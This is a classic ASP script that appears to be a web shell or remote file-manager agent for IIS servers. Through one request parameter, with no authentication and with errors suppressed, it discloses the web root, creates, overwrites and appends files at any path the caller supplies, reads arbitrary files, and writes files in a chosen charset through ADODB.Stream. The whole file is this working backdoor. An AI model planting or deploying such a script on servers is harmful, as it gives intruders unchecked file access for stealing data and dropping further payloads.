<%
Response.Clear
Response.Buffer = True 
On Error Resume Next
Function GetRequest(resource)
    GetRequest = Request(resource)
End Function

Set objFSO = Server.CreateObject("Scripting.FileSystemObject") 

Function ReportFileStatus(fileName) 
    msg = -1 
    If (objFSO.FileExists(fileName)) Then 
        msg = 1 
    Else 
        msg = -1 
    End If 
    ReportFileStatus = msg 
End Function 

resource = GetRequest("resource")
Select Case resource
    Case "ok"
    	Response.Write("ok")
    Case "RootAbsoultPath"
        Response.Write(Server.MapPath("/"))
    Case "NewFile"
        Set f = objFSO.CreateTextFile(GetRequest("filename"), True)
        f.WriteLine(GetRequest("content"))
        f.Close
        Set f = Nothing
        Response.Write("ok")
    Case "WriteFile"
        writetype = GetRequest("writetype")
        filename = GetRequest("filename")
        content = GetRequest("content")
        Select Case writetype
            Case "w"
                Set f = objFSO.OpenTextFile(filename, 2, True)
                f.Write content
                f.Close
                Response.Write("ok")
            Case "a"
                If ReportFileStatus(filename) = 1 Then
                    Set f = objFSO.OpenTextFile(filename, 8)
                    f.Write content
                    f.Close
                    Response.Write("ok")
                Else
                    Response.Write("[AIP ERROR]File not exist.")
                End If
        End Select
    Case "ReadFile"
        filename = GetRequest("filename")
        If ReportFileStatus(filename) = 1 Then
            Set f = objFSO.OpenTextFile(filename, 1)
            content = f.ReadAll
            f.Close
            Response.Write(content)
        Else
            Response.Write("[AIP ERROR]File not exist.")
        End If
    Case "AdoWrite"
        charset = GetRequest("charset")
        filename = GetRequest("filename")
        content = GetRequest("content")
    	Set objADO = Server.createObject("Adodb.Stream")
    	objADO.Open
    	objADO.Type = 2
    	objADO.CharSet = charset
    	objADO.writetext content
    	objADO.SaveToFile filename, 2
    	objADO.Close
    	Set objADO = Nothing
    	Response.Write("ok")
End Select
Set objFSO = Nothing

If Err.Number <> 0 Then
    Response.Clear
    Response.Write("[AIP ERROR] ASP ERROR #" & CStr(Err.Number) & " " & Err.Description & chr(13)&chr(10))
    Response.Write("Error Line: " & Err.Line & chr(13)&chr(10))
    Response.Write("Error Source: " & Err.Source)
End If
Response.End
%>

